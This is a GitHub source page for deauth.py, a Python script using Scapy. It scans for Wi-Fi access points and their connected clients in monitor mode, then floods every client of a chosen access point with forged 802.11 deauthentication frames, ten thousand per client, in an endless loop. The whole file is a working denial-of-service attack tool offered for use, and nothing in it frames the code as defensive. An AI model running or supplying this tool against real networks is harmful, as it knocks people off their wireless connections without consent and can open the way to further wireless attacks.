-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathdeauth.py
170 lines (148 loc) · 5.13 KB
/
deauth.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import os
from scapy.all import *
import time
devices = {} #Stores Access Points
clients = {} #Stores clients of selected access point
def MonitorMode(interface):
'''
MonitorMode function - Runs the bash script to quickly setup monitor mode on selected interface.
'''
choise = input("Put "+interface+" in monitor mode? Y/n (leave blank for Y):")
if(choise == "y" or choise == "Y" or choise == ""):
os.system("bash start-monitor.sh "+interface)
print(interface+" mode changed to Monitor\n")
else:
return 0
def DeauthAttack(interface, device_target, client_target):
'''
DeauthAttack function - Start the deauth attack by given interface, AP mac address and client MAC address.
'''
print('Deauthing',client_target,'from',device_target,'...')
pkt = RadioTap() / Dot11( addr1 = client_target, addr2 = device_target, addr3 = device_target, type=0, subtype= 12) / Dot11Deauth()
sendp(pkt, iface = interface, count = 10000, inter = .2)
def Display_Devices_Clients():
'''
Display_Device_Clients function - Each time a new AP or client s detected, it will update and display it onto the console. It allows human readable mapping of SSIDs and MACs.
'''
os.system("clear")
#print (devices)
#print (clients)
print ("-------- Devices Table --------\n")
print ("ESSID\tMAC Address\n")
count = 1
for device in devices:
print (str(count)+". "+str(devices[device]) +" \t" + str(device))
count += 1
print ("-----------------------------------\n")
print ("-------- Clients Table --------\n")
print ("BSSID\tMac Address\n")
count = 1
for client in clients:
print (str(count)+". "+str(clients[client]) +" \t"+ str(client))
count += 1
print ("-----------------------------------\n")
print ("Press [Ctrl+C] to stop.")
def Display_Devices():
count = 1
print("\n")
for device in devices:
print (str(count)+". "+str(device) +"\t"+str(devices[device]))
count += 1
def Display_Clients(device_target):
print("\n")
if(devices[device_target] not in clients):
print("No clients associated with " + device_target)
return
count = 1
print("Clients associated with " + device_target + ":")
for client in clients:
if(clients[client] == devices[device_target]):
print (str(count)+". "+client +"\t"+clients[client])
count += 1
def PacketHandler(pkt):
'''
PacketHandler function - This function is called each time the sniff function of scapy library detects a packet. This function will set the dictionary of our devices and clients for later use.
'''
try:
flag = 0
# Find all beacon packets - this means - wifi AP.
if(pkt.haslayer(Dot11Elt) and pkt.type == 0 and pkt.subtype == 8):
if(pkt.addr2 not in devices.keys()):
devices[pkt.addr2] = pkt.info.decode("utf-8")
flag = 1
if(pkt.haslayer(Dot11) and pkt.getlayer(Dot11).type == 2 and not pkt.haslayer(EAPOL)):
#This is data frame packet.
src = pkt.addr2
dest = pkt.addr3
if(dest in devices.keys()):
if((src not in clients.keys()) and (src != dest) and (src not in devices.keys())):
clients[src] = devices[dest]
flag = 1
if(flag):
Display_Devices_Clients()
except KeyboardInterrupt:
print ("\nInterruption detected.\n")
def Device_Interface():
'''
Device_Interface function - Choose an interface that is currently on monitor mode.
'''
choise = input("\nSelect an interface to work with (leave blank for wlan0):")
if(choise == ""):
return "wlan0"
else:
return choise
print("\nYour interface device is "+interface+"\n")
def Exit():
print("Exiting Wi-Fi Deauthentication script, see you soon!")
sys.exit(0)
def Interface():
'''
Interface function - The main function that controls the flow of the attack. It calls other functions and combines all of them.
'''
try:
interface = Device_Interface()
MonitorMode(interface)
choise = input("Start to scan? Y/n (leave blank for Y):")
if(choise == "y" or choise == "Y" or choise == ""):
print("Starting check for Devices and Clients\n")
sniff(iface = interface, prn = PacketHandler)
if(devices and clients):
#Display_Devices()
while(1):
device_target = input("\nPlease choose Device MAC Address from Device Table(or type the line number):")
try:
line_number = int(device_target)
device_target = list(devices.keys())[line_number]
if(device_target not in devices.keys()):
print("Line number " + str(line_number) + " is invalid")
continue
print("\nYou chose:")
print(str(line_number)+". "+str(devices[device_target]) +" \t" + str(device_target))
print("\n\n\n")
print("===Devices===")
print(devices)
print("===Clients===")
print(clients)
print("\n\n\n")
break
except ValueError:
if(device_target not in devices.keys()):
print("Bad Device MAC Address")
else:
break
print("A")
Display_Clients(device_target)
print("B")
while(1):
for client in clients:
if(clients[client] == devices[device_target]):
print(client + " : " + device_target)
DeauthAttack(interface, device_target, client)
else:
print("\nDevices or Clients table is null\n")
Exit()
except KeyboardInterrupt:
print ("\nInterruption detected.\n")
Exit()
if __name__ == '__main__':
Interface()